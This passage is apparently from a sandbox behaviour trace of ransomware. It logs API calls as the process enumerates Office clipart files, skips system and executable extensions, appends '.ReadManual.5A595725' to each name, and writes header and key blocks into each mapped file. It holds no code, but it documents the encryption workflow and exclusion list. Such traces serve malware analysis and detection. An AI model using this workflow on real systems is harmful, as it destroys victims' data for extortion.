Office\\CLIPART\\PUB60COR\\J0153273.WMF.ReadManual.5A595725") returned 87 [0267.287] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38795613282) returned 1 [0267.287] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0267.288] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.288] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20096) returned 1 [0267.288] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e80, lpName=0x0) returned 0x184 [0267.288] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.289] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.289] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.291] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.291] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e80) returned 0x2f0000 [0267.291] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.291] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38795985915) returned 1 [0267.291] CloseHandle (hObject=0x184) returned 1 [0267.291] SetSecurityInfo () returned 0x57 [0267.291] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.291] CloseHandle (hObject=0x194) returned 1 [0267.291] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0267.291] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153299.WMF" | out: lpString1="J0153299.WMF") returned="J0153299.WMF" [0267.291] lstrcmpiW (lpString1="J0153299.WMF", lpString2="RecoveryManual.html") returned -1 [0267.292] StrStrIW (lpFirst="J0153299.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.292] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.292] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.292] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" [0267.292] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ReadManual.5A595725" [0267.292] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ReadManual.5A595725") returned 87 [0267.292] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38796082082) returned 1 [0267.292] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0267.292] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.293] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36620) returned 1 [0267.293] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f0c, lpName=0x0) returned 0x184 [0267.293] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.293] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.293] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.295] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.296] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f0c) returned 0x2f0000 [0267.297] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.297] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38796563801) returned 1 [0267.297] CloseHandle (hObject=0x184) returned 1 [0267.297] SetSecurityInfo () returned 0x57 [0267.297] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.297] CloseHandle (hObject=0x194) returned 1 [0267.297] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0267.297] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153302.WMF" | out: lpString1="J0153302.WMF") returned="J0153302.WMF" [0267.297] lstrcmpiW (lpString1="J0153302.WMF", lpString2="RecoveryManual.html") returned -1 [0267.297] StrStrIW (lpFirst="J0153302.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.297] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.297] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.298] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.298] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" [0267.298] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ReadManual.5A595725" [0267.298] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ReadManual.5A595725") returned 87 [0267.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38796661617) returned 1 [0267.298] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0267.299] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.299] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30800) returned 1 [0267.299] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7850, lpName=0x0) returned 0x184 [0267.299] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.300] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.300] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.302] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.302] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7850) returned 0x2f0000 [0267.302] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.303] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38797130548) returned 1 [0267.303] CloseHandle (hObject=0x184) returned 1 [0267.303] SetSecurityInfo () returned 0x57 [0267.303] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.303] CloseHandle (hObject=0x194) returned 1 [0267.303] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0267.303] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153305.WMF" | out: lpString1="J0153305.WMF") returned="J0153305.WMF" [0267.303] lstrcmpiW (lpString1="J0153305.WMF", lpString2="RecoveryManual.html") returned -1 [0267.303] StrStrIW (lpFirst="J0153305.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.303] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.303] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.303] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" [0267.303] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ReadManual.5A595725" [0267.303] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ReadManual.5A595725") returned 87 [0267.303] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38797227065) returned 1 [0267.304] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0267.304] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.304] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=38488) returned 1 [0267.304] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9658, lpName=0x0) returned 0x184 [0267.304] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.305] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.307] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.307] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9658) returned 0x2f0000 [0267.308] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.308] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38797681303) returned 1 [0267.308] CloseHandle (hObject=0x184) returned 1 [0267.308] SetSecurityInfo () returned 0x57 [0267.308] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.308] CloseHandle (hObject=0x194) returned 1 [0267.308] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0267.308] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153307.WMF" | out: lpString1="J0153307.WMF") returned="J0153307.WMF" [0267.308] lstrcmpiW (lpString1="J0153307.WMF", lpString2="RecoveryManual.html") returned -1 [0267.308] StrStrIW (lpFirst="J0153307.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.308] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.309] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.309] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" [0267.309] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ReadManual.5A595725" [0267.309] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ReadManual.5A595725") returned 87 [0267.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38797777434) returned 1 [0267.309] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0267.309] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.310] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15448) returned 1 [0267.310] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c58, lpName=0x0) returned 0x184 [0267.310] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.310] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.310] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.312] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.312] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c58) returned 0x2f0000 [0267.313] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.313] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38798313258) returned 1 [0267.314] CloseHandle (hObject=0x184) returned 1 [0267.314] SetSecurityInfo () returned 0x57 [0267.315] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.315] CloseHandle (hObject=0x194) returned 1 [0267.315] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0267.315] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153313.WMF" | out: lpString1="J0153313.WMF") returned="J0153313.WMF" [0267.315] lstrcmpiW (lpString1="J0153313.WMF", lpString2="RecoveryManual.html") returned -1 [0267.315] StrStrIW (lpFirst="J0153313.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.315] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.315] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.315] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" [0267.315] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ReadManual.5A595725" [0267.315] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ReadManual.5A595725") returned 87 [0267.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38798406545) returned 1 [0267.315] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0267.316] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.316] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16952) returned 1 [0267.316] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4238, lpName=0x0) returned 0x184 [0267.316] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.316] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.316] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.318] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, 